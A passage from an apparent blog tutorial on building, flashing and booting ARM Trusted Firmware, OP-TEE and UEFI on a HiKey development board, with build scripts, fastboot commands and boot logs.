<span class="nt">-rw-r--r--</span> 1 root root  1048576 Jul  3 19:13 p1-vrl
<span class="nt">-rw-r--r--</span> 1 root root  1048576 Jul  3 19:13 p2-vrl_backup
<span class="nt">-rw-r--r--</span> 1 root root  1048576 Jul  3 19:13 p3-mcuimage
<span class="nt">-rw-r--r--</span> 1 root root  8388608 Jul  3 19:13 p4-fastboot
<span class="nt">-rw-r--r--</span> 1 root root  2097152 Jul  3 19:14 p5-nvme
<span class="nt">-rw-r--r--</span> 1 root root 67108864 Jul  3 19:14 p6-boot
<span class="nt">-rw-r--r--</span> 1 root root  1048576 Jul  3 19:13 ptable
<span class="o">(</span>hikey<span class="o">)</span><span class="nv">$ </span>shasum <span class="nt">-a</span> 256 p<span class="k">*</span>
30e14955ebf1352266dc2ff8067e68104607e750abb9d3b36582b8af909fcb58  p1-vrl
30e14955ebf1352266dc2ff8067e68104607e750abb9d3b36582b8af909fcb58  p2-vrl_backup
30e14955ebf1352266dc2ff8067e68104607e750abb9d3b36582b8af909fcb58  p3-mcuimage
9b0cae2b0493cccdc567e47a5551bfafcaea8f755e8f7e846f18c480d8e0dd25  p4-fastboot
2be59aabcf443128027ce62eb19a77fc7efa13c231e2045bb03bb427751fb96f  p5-nvme
b9744564bad753f69699be9a1484e3a8460ea271e076a5c7f2849ec7182a4224  p6-boot
7b95a7543fd61219bfa9ecb5f98fbe7418b8181f4acb14f214d6ce4c3865eb45  ptable
</code></pre></div></div>

<p>The first 3 partitions (<code class="language-plaintext highlighter-rouge">vrl</code>, <code class="language-plaintext highlighter-rouge">vrl_backup</code>, and <code class="language-plaintext highlighter-rouge">mcuimage</code>) are empty, and the hashes should be deterministic across reboots.</p>

<p><strong>We’ll want to back up the “Alternate boot option”, or “Fast boot”, or “Boot mode” areas from the eMMC, which Linux makes available as <code class="language-plaintext highlighter-rouge">/dev/mmcblk0boot{0,1}</code> too!</strong> These “partitions” are essentially other block devices accessed through configuration registers in the eMMC PROM.</p>

<p>Awesome! Feel free to play around, I updated and removed the desktop manager as well as installed a Ubuntu-core to an SD card and attempted to boot that. Network manager is somewhat clunky yet it is possible to auto-associate with a personal WPA2 on boot for SSH access. When you feel at home let’s continue with loading our own firmware.</p>

<p>NB, to configure NetworkManager really fast:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmcli con add con-name NETWORK-NAME ifname wlan1 <span class="nb">type </span>wifi ssid NETWORK-NAME ip4 192.168.0.120/24 gw4 192.168.0.1
nmcli con modify NETWORK-NAME wifi-sec.key-mgmt wpa-psk
nmcli con modify NETWORK-NAME wifi-sec.psk <span class="s2">"SHARED-KEY"</span>
nmcli con modify NETWORK-NAME ipv4.dns <span class="s2">"8.8.8.8 8.8.4.4"</span>
nmcli con up NETWORK-NAME
</code></pre></div></div>

<h2 id="build-and-compile-firmware">Build and compile firmware</h2>

<p>When playing with firmware on new devices I have a few curiosities:</p>

<ul>
  <li>Assuming physical access, what is the first instruction I can modify?</li>
  <li>What hardware strapping/jumpers exist to change that default “first instruction”?</li>
  <li>What firmware or loader does the CPU expect to jump into?</li>
</ul>

<p>That last question is important, for the HiKey the recommended first is <code class="language-plaintext highlighter-rouge">l-loader</code> to immediately place the CPU into <code class="language-plaintext highlighter-rouge">AArch64</code> mode. According to the <a href="assets/HiKey_User_Guide_CircuitCo.pdf">HiKey User Guide</a>: “<em>(default) the unit boots from the first stage bootloader installed in the onboard eMMC device.</em>” The <code class="language-plaintext highlighter-rouge">l-loader</code> will also contain the ARM “Secure ROM”, or BL1, code.</p>

<p>But in section 7 <strong>P2 - uSD CARD Socket</strong> “<em>An ALPS micro SDHC card socket P2, part number SCHA4B0415, is installed on the HiKey board on the bottom left corner of the PCB. If a suitable bootloader is installed and a bootable microSD card is installed at power up, the HiKey board can boot from software installed on the microSD card and not the default OS stored in the on-board eMMC flash memory.</em>”, and in section 1.6 <strong>Boot Mechanism</strong> of the <a href="assets/Hi6220V100_Multi-Mode_Application_Processor_Function_Description.pdf">Hi622v100 SoC</a> documentation we see “<em>The Hi6220 can boot from the on-chip BOOTROM (bootstrap mode), eMMC, which depends on the inputs of the BOOT_SEL and NAND_BOOT pins and eFUSE configurations.</em>”, interesting! This is a development board, so boot flexibility is always preferred. Let’s make a note to investigate and inspect this “alternate-default” boot path later. The <code class="language-plaintext highlighter-rouge">security_boot_flg</code> eFUSE configuration is also worth revisiting.</p>

<p>To clarify the Application Processor documentation’s <code class="language-plaintext highlighter-rouge">BOOT_SEL==1</code> means an open <code class="language-plaintext highlighter-rouge">Boot Select</code> from the HiKey documentation. This is the default state, where the BOOTROM is selected from the onboard eMMC flash.</p>

<p><strong>To summarize</strong>, there’s some missing information about how the SoC can select the uSD as its default boot target. And missing information about boot-related eFUSEs and where on the SoC the <code class="language-plaintext highlighter-rouge">l-loader</code> is stored. But let’s not worry about that now.</p>

<p>HiKey provides a <a href="https://github.com/96boards/documentation/wiki/HiKeyUEFI#build-instructions">wonderful guide</a> on creating a build environment for their firmware. Let’s follow it almost exactly.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>pip <span class="nb">install </span>wand

wget http://releases.linaro.org/15.02/components/toolchain/binaries/aarch64-linux-gnu/gcc-linaro-4.9-2015.02-3-x86_64_aarch64-linux-gnu.tar.xz
wget http://releases.linaro.org/15.02/components/toolchain/binaries/arm-linux-gnueabihf/gcc-linaro-4.9-2015.02-3-x86_64_arm-linux-gnueabihf.tar.xz

<span class="nb">mkdir </span>arm-tc arm64-tc
<span class="nb">tar</span> <span class="nt">--strip-components</span><span class="o">=</span>1 <span class="nt">-C</span> <span class="k">${</span><span class="nv">PWD</span><span class="k">}</span>/arm64-tc <span class="nt">-xf</span> gcc-linaro-4.9-<span class="k">*</span><span class="nt">-x86_64_aarch64-linux-gnu</span>.tar.xz
<span class="nb">tar</span> <span class="nt">--strip-components</span><span class="o">=</span>1 <span class="nt">-C</span> <span class="k">${</span><span class="nv">PWD</span><span class="k">}</span>/arm-tc <span class="nt">-xf</span> gcc-linaro-4.9-<span class="k">*</span><span class="nt">-x86_64_arm-linux-gnueabihf</span>.tar.xz
<span class="nb">export </span><span class="nv">PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">PWD</span><span class="k">}</span><span class="s2">/arm-tc/bin:</span><span class="k">${</span><span class="nv">PWD</span><span class="k">}</span><span class="s2">/arm64-tc/bin:</span><span class="nv">$PATH</span><span class="s2">"</span>
</code></pre></div></div>

<p>Now for the various firmware repositories</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git clone <span class="nt">-b</span> hikey https://github.com/96boards/edk2.git linaro-edk2
git clone <span class="nt">-b</span> hikey https://github.com/96boards-hikey/arm-trusted-firmware.git
git clone <span class="nt">-b</span> hikey https://github.com/96boards/LinaroPkg.git
git clone https://github.com/96boards/l-loader.git
git clone git://git.linaro.org/uefi/uefi-tools.git
git clone https://github.com/OP-TEE/optee_os.git
</code></pre></div></div>

<p>The guide also provides a build script, let’s open and write <code class="language-plaintext highlighter-rouge">build.sh</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>

<span class="nb">export </span><span class="nv">PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">PWD</span><span class="k">}</span><span class="s2">/arm-tc/bin:</span><span class="k">${</span><span class="nv">PWD</span><span class="k">}</span><span class="s2">/arm64-tc/bin:</span><span class="nv">$PATH</span><span class="s2">"</span>
<span class="nb">export </span><span class="nv">AARCH64_TOOLCHAIN</span><span class="o">=</span>GCC49
<span class="nb">export </span><span class="nv">EDK2_DIR</span><span class="o">=</span><span class="k">${</span><span class="nv">PWD</span><span class="k">}</span>/linaro-edk2
<span class="nb">export </span><span class="nv">UEFI_TOOLS_DIR</span><span class="o">=</span><span class="k">${</span><span class="nv">PWD</span><span class="k">}</span>/uefi-tools

<span class="nb">cd</span> <span class="k">${</span><span class="nv">EDK2_DIR</span><span class="k">}</span>
<span class="k">${</span><span class="nv">UEFI_TOOLS_DIR</span><span class="k">}</span>/uefi-build.sh <span class="nt">-c</span> ../LinaroPkg/platforms.config <span class="nt">-b</span> RELEASE <span class="nt">-a</span> ../arm-trusted-firmware <span class="nt">-s</span> ../optee_os hikey

<span class="nb">cd</span> ../l-loader
<span class="nb">ln</span> <span class="nt">-fs</span> <span class="k">${</span><span class="nv">EDK2_DIR</span><span class="k">}</span>/Build/HiKey/RELEASE_GCC49/FV/bl1.bin
<span class="nb">ln</span> <span class="nt">-fs</span> <span class="k">${</span><span class="nv">EDK2_DIR</span><span class="k">}</span>/Build/HiKey/RELEASE_GCC49/FV/fip.bin
arm-linux-gnueabihf-gcc <span class="nt">-c</span> <span class="nt">-o</span> start.o start.S
arm-linux-gnueabihf-gcc <span class="nt">-c</span> <span class="nt">-o</span> debug.o debug.S
arm-linux-gnueabihf-ld <span class="nt">-Bstatic</span> <span class="nt">-Tl-loader</span>.lds <span class="nt">-Ttext</span> 0xf9800800 start.o debug.o <span class="nt">-o</span> loader
arm-linux-gnueabihf-objcopy <span class="nt">-O</span> binary loader temp
python gen_loader.py <span class="nt">-o</span> l-loader.bin <span class="nt">--img_loader</span><span class="o">=</span>temp <span class="nt">--img_bl1</span><span class="o">=</span>bl1.bin

<span class="c"># sgdisk usage requires sudo</span>
<span class="nb">sudo </span><span class="nv">PTABLE</span><span class="o">=</span>linux-4g bash <span class="nt">-x</span> generate_ptable.sh
python gen_loader.py <span class="nt">-o</span> ptable-linux.img <span class="nt">--img_prm_ptable</span><span class="o">=</span>prm_ptable.img
</code></pre></div></div>

<p>Your directory setup will look similar to:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ls</span> <span class="nt">-l</span> /opt/hikey
total 65760     
drwxrwxr-x  8 4096 20:13 arm64-tc
drwxrwxr-x  8 4096 20:07 arm-tc
drwxrwxr-x 17 4096 20:25 arm-trusted-firmware
<span class="nt">-rwxrwxr-x</span>  1 1331 13:07 build.sh
drwxrwxr-x 42 4096 21:49 linaro-edk2
drwxrwxr-x  3 4096 13:42 LinaroPkg
drwxrwxr-x  3 4096 13:43 l-loader
drwxrwxr-x 11 4096 21:56 optee_os
drwxrwxr-x  3 4096 13:19 uefi-tools
</code></pre></div></div>

<p>Let’s execute <code class="language-plaintext highlighter-rouge">./build.sh</code> and notice at the end of <code class="language-plaintext highlighter-rouge">uefi-tools/uefi-build.sh</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Built build/hikey/release/bl2.bin successfully
Built build/hikey/release/bl1.bin successfully

  LD      fip_create

Built fip_create successfully

  LD      build/hikey/release/bl31/bl31.elf
  OD      build/hikey/release/bl31/bl31.dump
  BIN     build/hikey/release/bl31.bin

Built build/hikey/release/bl31.bin successfully

Firmware Image Package ToC:
---------------------------
- Trusted Boot Firmware BL2: offset=0x100, size=0x7100
  file: './build/hikey/release/bl2.bin'
- EL3 Runtime Firmware BL3-1: offset=0x7200, size=0x7010
  file: './build/hikey/release/bl31.bin'
- Secure Payload BL3-2 (Trusted OS): offset=0xE210, size=0x361C4
  file: '/opt/hikey/linaro-edk2/Build/HiKey/RELEASE_GCC49/FV/tee.bin'
- SCP Firmware BL3-0: offset=0x443D4, size=0x23D00
  file: '/opt/hikey/linaro-edk2/HisiPkg/HiKeyPkg/NonFree/mcuimage.bin'
- Non-Trusted Firmware BL3-3: offset=0x680D4, size=0xF0000
  file: '/opt/hikey/linaro-edk2/Build/HiKey/RELEASE_GCC49/FV/BL33_AP_UEFI.fd'
---------------------------
Creating "build/hikey/release/fip.bin"
</code></pre></div></div>

<p>We don’t need to do anything more in the guide, we have our:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">l-loader/l-loader.bin</code></li>
  <li><code class="language-plaintext highlighter-rouge">l-loader/fip.bin</code></li>
  <li>An updated partition table <code class="language-plaintext highlighter-rouge">l-loader/ptable-linux.img</code></li>
</ul>

<h2 id="components-of-the-hikey-firmware">Components of the HiKey firmware</h2>

<p>The components, stages, and references here are very well summarized in the <a href="https://github.com/ARM-software/arm-trusted-firmware/blob/master/docs/firmware-design.md">ARM Trusted Firmware Design</a> document. Below we’ll briefly map the downloaded and compiled components.</p>

<p>The following components can be found in the <code class="language-plaintext highlighter-rouge">fip.bin</code>:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">BL2</code>: <code class="language-plaintext highlighter-rouge">./arm-trusted-firmware/build/hikey/release/bl2.bin</code></li>
  <li><code class="language-plaintext highlighter-rouge">BL3-0</code>: <code class="language-plaintext highlighter-rouge">./linaro-edk2/HisiPkg/HiKeyPkg/NonFree/mcuimage.bin</code></li>
  <li><code class="language-plaintext highlighter-rouge">BL3-1</code>: <code class="language-plaintext highlighter-rouge">./arm-trusted-firmware/build/hikey/release/bl31.bin</code></li>
  <li><code class="language-plaintext highlighter-rouge">BL3-2</code>: <code class="language-plaintext highlighter-rouge">./linaro-edk2/Build/HiKey/RELEASE_GCC49/FV/tee.bin</code></li>
  <li><code class="language-plaintext highlighter-rouge">BL3-3</code>: <code class="language-plaintext highlighter-rouge">./linaro-edk2/Build/HiKey/RELEASE_GCC49/FV/BL33_AP_UEFI.fd</code></li>
</ul>

<p><code class="language-plaintext highlighter-rouge">BL1</code> and the code from <code class="language-plaintext highlighter-rouge">./l-loader/start.S</code> are written to <code class="language-plaintext highlighter-rouge">l-loader.bin</code>.</p>

<h3 id="l-loader">l-loader</h3>

<p>The <code class="language-plaintext highlighter-rouge">l-loader</code> code is fairly small, check out the <code class="language-plaintext highlighter-rouge">l-loader/start.S</code> code to inspect what the CPU is jumping into immediately on boot at <code class="language-plaintext highlighter-rouge">0xF9800800</code>. The included loader script places <code class="language-plaintext highlighter-rouge">bl1.bin</code> at <code class="language-plaintext highlighter-rouge">0xF9801000</code>. It seems the <code class="language-plaintext highlighter-rouge">0xF980:0000</code> MMIO area is mapped by the memory controller from the eMMC alternate boot option by default (just a guess, I cannot find this in the SoC or AP documentation).</p>

<h3 id="bl1-ap-trusted-rom">BL1: AP Trusted ROM</h3>

<p>On the HiKey this is loaded from <code class="language-plaintext highlighter-rouge">0xF9800000 + 0x1000</code>.</p>

<p>To borrow from the guide, <code class="language-plaintext highlighter-rouge">BL1</code> performs the following initializations:</p>

<ul>
  <li>Enable the Trusted Watchdog.</li>
  <li>Initialize the console.</li>
  <li>Configure the Interconnect to enable hardware coherency.</li>
  <li>Enable the MMU and map the memory it needs to access.</li>
  <li>Configure any required platform storage to load the next bootloader image (<code class="language-plaintext highlighter-rouge">BL2</code>).</li>
</ul>

<p>We can find the implementation code:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./arm-trusted-firmware/bl1
./arm-trusted-firmware/plat/hikey/
</code></pre></div></div>

<h3 id="bl2-trusted-boot-firmware">BL2: Trusted Boot Firmware</h3>

<p><code class="language-plaintext highlighter-rouge">BL2</code> performs the following initializations:</p>

<ul>
  <li>Initialize the console.</li>
  <li>Configure any required platform storage to allow loading further bootloader images.</li>
  <li>Enable the MMU and map the memory it needs to access.</li>
  <li>Perform platform security setup to allow access to controlled components.</li>
  <li>Reserve some memory for passing information to the next bootloader image EL3 Runtime Software and populate it.</li>
  <li>Define the extents of memory available for loading each subsequent bootloader image.</li>
</ul>

<p>We can find the implementation code:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./arm-trusted-firmware/bl2
./arm-trusted-firmware/bl2/bl2-main.c
</code></pre></div></div>

<p>This stage may also load a platform-specific (optional) binary into a region of secure memory. It doesn’t seem the HiKey is using a <code class="language-plaintext highlighter-rouge">SCP_BL2</code>, but if it did that optional image would execute and eventually return executing to <code class="language-plaintext highlighter-rouge">BL2</code>.</p>

<p>This stage is responsible for loading:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">BL31</code> (<code class="language-plaintext highlighter-rouge">EL3</code>)into trusted SRAM.</li>
  <li>An optional <code class="language-plaintext highlighter-rouge">BL32</code> into a region of secure memory, to later execute in the secure world.</li>
  <li><code class="language-plaintext highlighter-rouge">BL33</code> into non-secure memory.</li>
</ul>

<p>When finished, <code class="language-plaintext highlighter-rouge">BL2</code> will pass control back to <code class="language-plaintext highlighter-rouge">BL1</code> using an SMC call and the <code class="language-plaintext highlighter-rouge">BL31</code> loaded entrypoint. <code class="language-plaintext highlighter-rouge">BL1</code> is then responsible for jumping and executing <code class="language-plaintext highlighter-rouge">BL31</code> within trusted SRAM. The HiKey is using a <code class="language-plaintext highlighter-rouge">SCP</code> and calling it <code class="language-plaintext highlighter-rouge">BL3-0</code>.</p>

<p>We can find the non-free binary for <code class="language-plaintext highlighter-rouge">BL3-0</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./linaro-edk2/HisiPkg/HiKeyPkg/NonFree/mcuimage.bin
</code></pre></div></div>

<h3 id="bl31-el3-runtime-software">BL31: EL3 Runtime Software</h3>

<p>As described in the guide, <code class="language-plaintext highlighter-rouge">BL31</code> is very similar to <code class="language-plaintext highlighter-rouge">BL1</code> and may replace most of its initialization. On a secured system the <code class="language-plaintext highlighter-rouge">BL1</code> code is a ROM, thus EL3 may field update and boot time patch when changes are needed.</p>

<p><code class="language-plaintext highlighter-rouge">BL31</code> performs the following initializations:</p>

<ul>
  <li>Initialize the console.</li>
  <li>Configure the Interconnect to enable hardware coherency.</li>
  <li>Enable the MMU and map the memory it needs to access.</li>
  <li>Initialize the generic interrupt controller.</li>
  <li>Initialize the power controller device.</li>
  <li>Detect the system topology.</li>
</ul>

<p>That last line includes the runtime services initialization. <code class="language-plaintext highlighter-rouge">BL31</code> then executes <code class="language-plaintext highlighter-rouge">BL32</code> if it exists. This phase uses the information provides by <code class="language-plaintext highlighter-rouge">BL2</code> to locate and execute the <code class="language-plaintext highlighter-rouge">BL33</code> normal-world firmware. In our current state, the UEFI platform code.</p>

<p>We can find the implementation code:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./arm-trusted-firmware/bl31/
</code></pre></div></div>

<h3 id="bl32-secure-el1-payload-optional">BL32: Secure-EL1 Payload (optional)</h3>

<p>This is the optional Trusted OS running in the secure world setup and implemented using the runtime services in <code class="language-plaintext highlighter-rouge">BL31</code> where communication occurs using the <code class="language-plaintext highlighter-rouge">SMC</code>s installed also in <code class="language-plaintext highlighter-rouge">BL31</code>.</p>

<p>We replace the Test secure world OS included with <code class="language-plaintext highlighter-rouge">arm-trusted-firmware</code> with <code class="language-plaintext highlighter-rouge">OP-TEE</code>. This replacement is seen in the build script above using the <code class="language-plaintext highlighter-rouge">-s</code> switch.</p>

<p>We can find the implementation code:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./optee_os/
</code></pre></div></div>

<h3 id="bl33-non-trusted-firmware-uefi">BL33: Non-trusted Firmware (UEFI)</h3>

<p>And finally the UEFI code is provided by <code class="language-plaintext highlighter-rouge">./linaro-edk2</code>.</p>

<h2 id="flashing-the-firmware">Flashing the Firmware</h2>

<p>We need the <code class="language-plaintext highlighter-rouge">fastboot</code> tool:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt-get <span class="nb">install </span>fastboot
</code></pre></div></div>

<p>And the HiSilicon loader flasher:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wget https://raw.githubusercontent.com/96boards/burn-boot/master/hisi-idt.py
</code></pre></div></div>

<p>Now we need to put the device into <a href="https://github.com/96boards/documentation/wiki/HiKeyUEFI#flash-binaries-to-emmc-"><strong>recovery mode</strong></a> by changing the <code class="language-plaintext highlighter-rouge">BOOT_SEL</code> jumper and connecting to the HiKey USB OTG.</p>

<p><img src="/assets/images/hikey-otg-recovery.jpeg" alt="The recovery-mode is accessed via the USB OTG when the BOOT_SEL and autoboot (TOP) JUMPERs are closed." /></p>

<p>The recovery-mode is accessed via the USB OTG when the BOOT_SEL and autoboot (TOP) JUMPERs are closed.</p>

<p>I’ll remove the 96Boards signals expansion to clearly show the OTG and jumper configuration (Pins 1-2 Autoboot closed, pins 3-4 Boot select closed, pins 5-6 open). The board must be supplied power, keeping the barrel connector in is fine.</p>

<p>On my desktop I see:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>usb 1-2: new full-speed USB device number 127 using xhci_hcd
usb 1-2: New USB device found, <span class="nv">idVendor</span><span class="o">=</span>12d1, <span class="nv">idProduct</span><span class="o">=</span>3609
usb 1-2: New USB device strings: <span class="nv">Mfr</span><span class="o">=</span>1, <span class="nv">Product</span><span class="o">=</span>4, <span class="nv">SerialNumber</span><span class="o">=</span>0
usb 1-2: Product: <span class="se">\x</span>ffffffe3<span class="se">\x</span>ffffff84<span class="se">\x</span>ffffffb0㌲㔴㜶㤸
usb 1-2: Manufacturer: 䕇䕎䥎
usbserial: USB Serial support registered <span class="k">for </span>GSM modem <span class="o">(</span>1-port<span class="o">)</span>
option 1-2:1.0: GSM modem <span class="o">(</span>1-port<span class="o">)</span> converter detected
usb 1-2: GSM modem <span class="o">(</span>1-port<span class="o">)</span> converter now attached to ttyUSB0
</code></pre></div></div>

<p>To flash the <code class="language-plaintext highlighter-rouge">l-loader</code> and <code class="language-plaintext highlighter-rouge">BL1</code> to <code class="language-plaintext highlighter-rouge">0xF9800800</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>python hisi-idt.py <span class="nt">--img1</span><span class="o">=</span>./l-loader/l-loader.bin
+----------------------+
<span class="o">(</span><span class="s1">' Serial: '</span>, <span class="s1">'/dev/serial/by-id/usb-\xe4\x95\x87\xe4\x95\x8e\xe4\xa5\x8e_\xe3\x84\xb0\xe3\x8c\xb2\xe3\x94\xb4\xe3\x9c\xb6\xe3\xa4\xb8-if00-port0'</span><span class="o">)</span>
<span class="o">(</span><span class="s1">' Image1: '</span>, <span class="s1">'./l-loader/l-loader.bin'</span><span class="o">)</span>
<span class="o">(</span><span class="s1">' Image2: '</span>, <span class="s1">''</span><span class="o">)</span>
+----------------------+

<span class="o">(</span><span class="s1">'Sending'</span>, <span class="s1">'./l-loader/l-loader.bin'</span>, <span class="s1">'...'</span><span class="o">)</span>
Done
</code></pre></div></div>

<p>The only documentation I have on the <code class="language-plaintext highlighter-rouge">0xF9800:0000</code> mapping is that it is missing from the HiSilicon guide, from <a href="assets/Hi6220V100_Multi-Mode_Application_Processor_Function_Description.pdf">page 225</a>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Module    Size  Base        Width
BOOTROM   32K   0xFFFF0000  32
SRAM_OFF  72K   0xFFF80000  32
UART0     4KB   0xF8015000  32
[...]
</code></pre></div></div>

<p>To flash the <code class="language-plaintext highlighter-rouge">fip.bin</code> and remaining stages to the eMMC:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>fastboot flash ptable l-loader/ptable-linux.img
target reported max download size of 268435456 bytes
sending <span class="s1">'ptable'</span> <span class="o">(</span>17 KB<span class="o">)</span>...
OKAY <span class="o">[</span>  0.001s]
writing <span class="s1">'ptable'</span>...
OKAY <span class="o">[</span>  0.002s]
finished. total <span class="nb">time</span>: 0.002s

<span class="nv">$ </span><span class="nb">sudo </span>fastboot flash fastboot l-loader/fip.bin
target reported max download size of 268435456 bytes
sending <span class="s1">'fastboot'</span> <span class="o">(</span>1376 KB<span class="o">)</span>...
OKAY <span class="o">[</span>  0.035s]
writing <span class="s1">'fastboot'</span>...
OKAY <span class="o">[</span>  0.035s]
finished. total <span class="nb">time</span>: 0.070s
</code></pre></div></div>

<h2 id="booting-updated-firmware">Booting updated firmware</h2>

<p>Now to boot our updated firmware:</p>

<ul>
  <li>Unplug the HiKey.</li>
  <li>Remove the <code class="language-plaintext highlighter-rouge">BOOT_SEL</code> jumper between pins 3-4.</li>
  <li>Attach your 96Boards signal expansion or UART breakout.</li>
  <li>Attach to the UART from on your desktop: <code class="language-plaintext highlighter-rouge">sudo screen /dev/ttyUSB0 115200</code></li>
  <li>Restore power to the HiKey.</li>
</ul>

<p>We should be greeted with updated times and revisions:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>NOTICE:  Booting Trusted Firmware
NOTICE:  BL1: v1.1(release):167e4ed
NOTICE:  BL1: Built : 16:59:44, Nov 20 2016
NOTICE:  syspll frequency:1190494208Hz
NOTICE:  succeed to init lpddr3 rank0 dram phy
INFO:    lpddr3_freq_init, set ddrc 533mhz
INFO:    init ddr3 rank0
INFO:    ddr3 rank1 init pass
INFO:    lpddr3_freq_init, set ddrc 800mhz
INFO:    init ddr3 rank0
INFO:    ddr3 rank1 init pass
INFO:    Samsung DDR
NOTICE:  BL1: Booting BL2
NOTICE:  acpu_dvfs_set_freq: set acpu freq success!
NOTICE:  BL2: v1.1(release):167e4ed
NOTICE:  BL2: Built : 16:59:44, Nov 20 2016
NOTICE:  BL1: Booting BL3-1
NOTICE:  BL3-1: v1.1(release):167e4ed
NOTICE:  BL3-1: Built : 16:59:44, Nov 20 20
INFO:    TEE-CORE: Initializing (2.2.0-89-gaae611c #1 Mon Nov 21 00:59:42 UTC 2016 aarch64)
INFO:    TEE-CORE: Initialized
UEFI firmware (version PreAlpha built at 16:59:29 on Nov 20 2016)
</code></pre></div></div>

<p>And booting Linux should also tell us: <code class="language-plaintext highlighter-rouge">EFI v2.40 by Linaro HiKey EFI Nov 20 2016 16:59:32</code>.</p>

<h2 id="building-debug-firmware">Building DEBUG Firmware</h2>

<p>This wasn’t as straightforward as I hoped. Please take these suggestions with a grain of salt and verify the output is a debug build. I ended up “forcing” the build-type in several areas.</p>

<p>First modify <code class="language-plaintext highlighter-rouge">./build.sh</code> and verify that <code class="language-plaintext highlighter-rouge">linaro-edk2/Build/HiKey/DEBUG_GCC49</code> contains the firmware volume output:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Add this "build type"</span>
<span class="nv">BUILD</span><span class="o">=</span>DEBUG

<span class="nb">cd</span> <span class="k">${</span><span class="nv">EDK2_DIR</span><span class="k">}</span>
<span class="k">if</span> <span class="o">[[</span> <span class="s2">"</span><span class="nv">$BUILD</span><span class="s2">"</span> <span class="o">=</span> <span class="s2">"DEBUG"</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then
    </span><span class="nb">export </span><span class="nv">DEBUG</span><span class="o">=</span>1
<span class="k">fi</span>
<span class="k">${</span><span class="nv">UEFI_TOOLS_DIR</span><span class="k">}</span>/uefi-build.sh <span class="nt">-c</span> ../LinaroPkg/platforms.config <span class="nt">-b</span> <span class="nv">$BUILD</span> <span class="nt">-a</span> ../arm-trusted-firmware <span class="nt">-s</span> ../optee_os hikey

<span class="nb">cd</span> ../l-loader
<span class="nb">ln</span> <span class="nt">-fs</span> <span class="k">${</span><span class="nv">EDK2_DIR</span><span class="k">}</span>/Build/HiKey/<span class="k">${</span><span class="nv">BUILD</span><span class="k">}</span>_GCC49/FV/bl1.bin
<span class="nb">ln</span> <span class="nt">-fs</span> <span class="k">${</span><span class="nv">EDK2_DIR</span><span class="k">}</span>/Build/HiKey/<span class="k">${</span><span class="nv">BUILD</span><span class="k">}</span>_GCC49/FV/fip.bin
</code></pre></div></div>

<p>Now modify the OP-TEE profile in<code class="language-plaintext highlighter-rouge">./LinaroPkg</code>:</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gh">diff --git a/platforms.config b/platforms.config
index 2db0d24..0bacd63 100644
</span><span class="gd">--- a/platforms.config
</span><span class="gi">+++ b/platforms.config
</span><span class="p">@@ -105,17 +105,18 @@</span> DSC=HisiPkg/HiKeyPkg/HiKey.dsc
 ARCH=AARCH64
 UEFI_BIN=BL33_AP_UEFI.fd
 UEFI_IMAGE_DIR=HiKey
<span class="gd">-BUILD_ATF=yes
</span><span class="gi">+BUILD_ATF=debug
</span> ATF_SPD=opteed
 TOS_BIN=tee.bin
<span class="gd">-BUILD_TOS=yes
</span><span class="gi">+BUILD_TOS=debug
+
</span>
 SCP_BIN=HisiPkg/HiKeyPkg/NonFree/mcuimage.bin
</code></pre></div></div>

<p>And verify the new output from the build script:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Building opteed Trusted OS
Target: AARCH64
Build: other
Target: ARM
Build: other
CFG_ARM64_core=y
CROSS_COMPILE_ta_arm64=aarch64-linux-gnu-
CROSS_COMPILE=arm-linux-gnueabihf-
CROSS_COMPILE_core=aarch64-linux-gnu-
PROFILE=DEBUG
PLATFORM=hikey
PLATFORM_FLAVOR=
CFG_TEE_CORE_LOG_LEVEL=2
[...]
Target: AARCH64
Build: other
Building ARM Trusted Firmware for CircuitCo HiKey - DEBUG_GCC49
CROSS_COMPILE="aarch64-linux-gnu-"
BL30=/opt/hikey/linaro-edk2/HisiPkg/HiKeyPkg/NonFree/mcuimage.bin
BL31=
BL32=/opt/hikey/linaro-edk2/Build/HiKey/DEBUG_GCC49/FV/tee.bin
BL33=/opt/hikey/linaro-edk2/Build/HiKey/DEBUG_GCC49/FV/BL33_AP_UEFI.fd
SPD=opteed
BUILD_TYPE=debug
</code></pre></div></div>

<p>The final Table of Contents should resemble:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Firmware Image Package ToC:
---------------------------
- Trusted Boot Firmware BL2: offset=0x100, size=0x9100
